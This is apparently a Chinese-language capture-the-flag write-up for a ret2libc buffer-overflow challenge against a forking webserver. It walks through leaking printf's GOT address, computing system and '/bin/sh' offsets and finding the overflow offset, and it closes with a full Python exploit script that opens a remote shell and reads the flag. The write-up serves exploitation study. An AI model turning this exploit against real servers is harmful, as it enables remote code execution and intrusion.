#PWN2-webserver

Score: 200  
来源：0ctf pwn 400

```
problem id: 5321f813d89c3d6357210715  
```
type: ret2libc

webserver libc.so

```
$ nc 166.111.132.132:44774
```

###预备知识复习
1. ret2libc 的基本原理  
2. 如何得到 system 的地址？  
3. GOT 和 PLT 如何工作？

<!--more-->

###解题步骤
1. 使用 IDA 分析 webserver，找到 buffer overflow 溢出函数  
2. 泄漏 libc 地址，由于 libc 地址不会变化(为什么？)，我们可以分两个步骤，先泄漏地址，然后再进行 ret2libc
	1. 使用 printf 的 got 表项，泄漏 printf 函数的真实地址  
	2. 注意 printf 存在 buffer，因此需要跳到 exit 函数，保证字符输出  
	3. 最终 payload 应该为："GET AAAA..a...lot..of..AAAA" + l32(printf_plt) + l32(exit_plt) + l32(printf_got) + " HTTP/1.1"  
	4. 弄懂上述 payload 的构造原理，成功得到 printf 的泄漏地址
3. 利用 printf 的地址和 libc.so，计算出 system 地址和 "/bin/sh" 字符串地址  
4. 构造正确 ret2libc 的 payload，拿到 shell  
	1. ret2libc 的 payload 为："GET AAAA...a..lot..of..AAAA" + l32(system_plt) + l32(exit_plt) + 	l32(binsh) + " HTTP/1.1"

注，l32 函数是 zio 中得函数，表示将 32 bit integer 和小端表示的 4 字节字符串相互转换


##Writeup

这题栈不可执行，目测要用ret2libc的方法啦(废话么，题目里都说了)= =、~

###用IDA载入分析webserver

1. 嗯嗯，从B函数中可知，我们发送的字符串格式应该为“GET XXXXXX HTTP/1.1”
2. 推测buffer overflow应该在C函数中(所以我们要覆盖的返回地址应该就是从C函数返回到B函数的返回地址)


**因为这个webserver中fork了子进程来连接和处理接收的字符串的，所以服务器上webserver的父进程一直在运行，它的libc地址是不变滴！~~**

*酱紫我们可以分两次连接，第一次发送payload获取libc基地址计算system和/bin/sh的地址，第二次进行ret2libc*

###用GDB分析webserver

1. 用GDB调试webserver的fork子进程，在C函数的调用上下断，现在run起来~~~  
2. 本地nc到44774端口，构造一个长字符串发送过去，吼吼~子进程已经断下来咯！
3. 单步进入C函数，可以看到返回地址0x8048895已经存在stack 0xbffff138中啦~
4. 单步调试下去，最后发现返回地址错误咯，根据错误的返回地址在构造的长字符串中去找，可以算出105= =、就是payload里A的长度啦~

PS：这里payload里返回地址的偏移量其实是个坑，之前本地测试成功，Server上总是不行**

**仔细跟踪可以发现，这个偏移量跟程序所在的路径是有关系的，比如在我本机上，最后处理完,overflow前的字符串应该为“/root/bin/week1/challenge2/XXX..长字符串..XXX”，所以真正的偏移量位我字符串105+路径27=132字节**

**所以！！！服务器上的偏移量应该为(132-服务器上程序的路径)**那么肿么知道服务器上的路径咧~  
1. 可以在第一个payload里printf一个字符串，然后遍历偏移量，能正确显示的就对啦~  
2. 有一个很巧妙的办法，仔细分析程序，你可以发送“”，路径就爆出来啦

```
root@kali:~# nc 166.111.132.132 44774
GET . HTTP/1.1
Trying to Visit /home/pwn1
```


###发送payload获取printf真实地址

然后payload就很容易构造啦~  

```
python -c 'print "GET " + "A"*121 + l32(printf_plt) + l32(exit_plt) + l32(printf_got) + " HTTP/1.1"'
```

###利用 printf 的地址和 libc.so，计算出 system 地址和 "/bin/sh" 字符串地址

处理下返回的数据就可以得到printf的真实地址啦~，然后计算出libc的基地址，就可以算出system和/bin/sh的地址啦~


###构造ret2libc

话说这里提示是不是有错来着？？不应该是system的plt地址应该是system的真实地址吧？~~~吼吼

构造正确的ret2libc地址如下  
```
payload = "GET " + "A"*121 + l32(system_addr) + l32(exit_plt) + l32(binsh_addr) + " HTTP/1.1"
```

###脚本在此！！！

最后"cat /flag\n"就OK啦~~不要忘记很炫酷滴“\n”！！！

``` python
#!coding:utf-8
import socket
from zio import *

st = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
st.connect(('166.111.132.132', 44774))
#st.connect(('10.10.10.133', 44774))

#payload "GET AAAA....AAAA" + l32(printf_plt) + l32(exit_plt) + l32(printf_got) + " HTTP/1.1"
#构造payload获取printf真实地址
payload  = ""
payload += "GET "
payload += "A" * 121
#payload += "A" * 105

#printf_plt 0x08048580
buf = payload + l32(0x8048580)

#exit_plt 0x08048610
buf += l32(0x8048610)

#printf_got 0x0804A008
buf += l32(0x804A008)
buf += " HTTP/1.1"

st.send(buf)

#计算libc基地址
base_addr = l32(st.recv(4)) - 0x0004d410
print "base_addr:" + hex(base_addr)

#计算system地址
system_addr = base_addr + 0x0003ea70
print "system_addr:" + hex(system_addr)

#计算/bin/sh地址
binsh_addr = base_addr + 0x0015FCBF
print "binsh_addr:" + hex(binsh_addr)

st.close()

#再次连接
st = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
st.connect(('166.111.132.132', 44774))
#st.connect(('10.10.10.133', 44774))

#构造攻击payload拿到shell
#payload "GET AAAA.....AAAA" + l32(system_plt) + l32(exit_plt) + l32(binsh) + " HTTP/1.1"

#system_addr
buf2 = payload + l32(system_addr)

#exit_plt
buf2 += l32(0x8048610)

#binsh_addr
buf2 += l32(binsh_addr)
buf2 += " HTTP/1.1"

st.send(buf2)
st.send("ls\n")
print st.recv(2048)
st.send("cat /home/pwn1/flag\n")
print st.recv(2048)

```


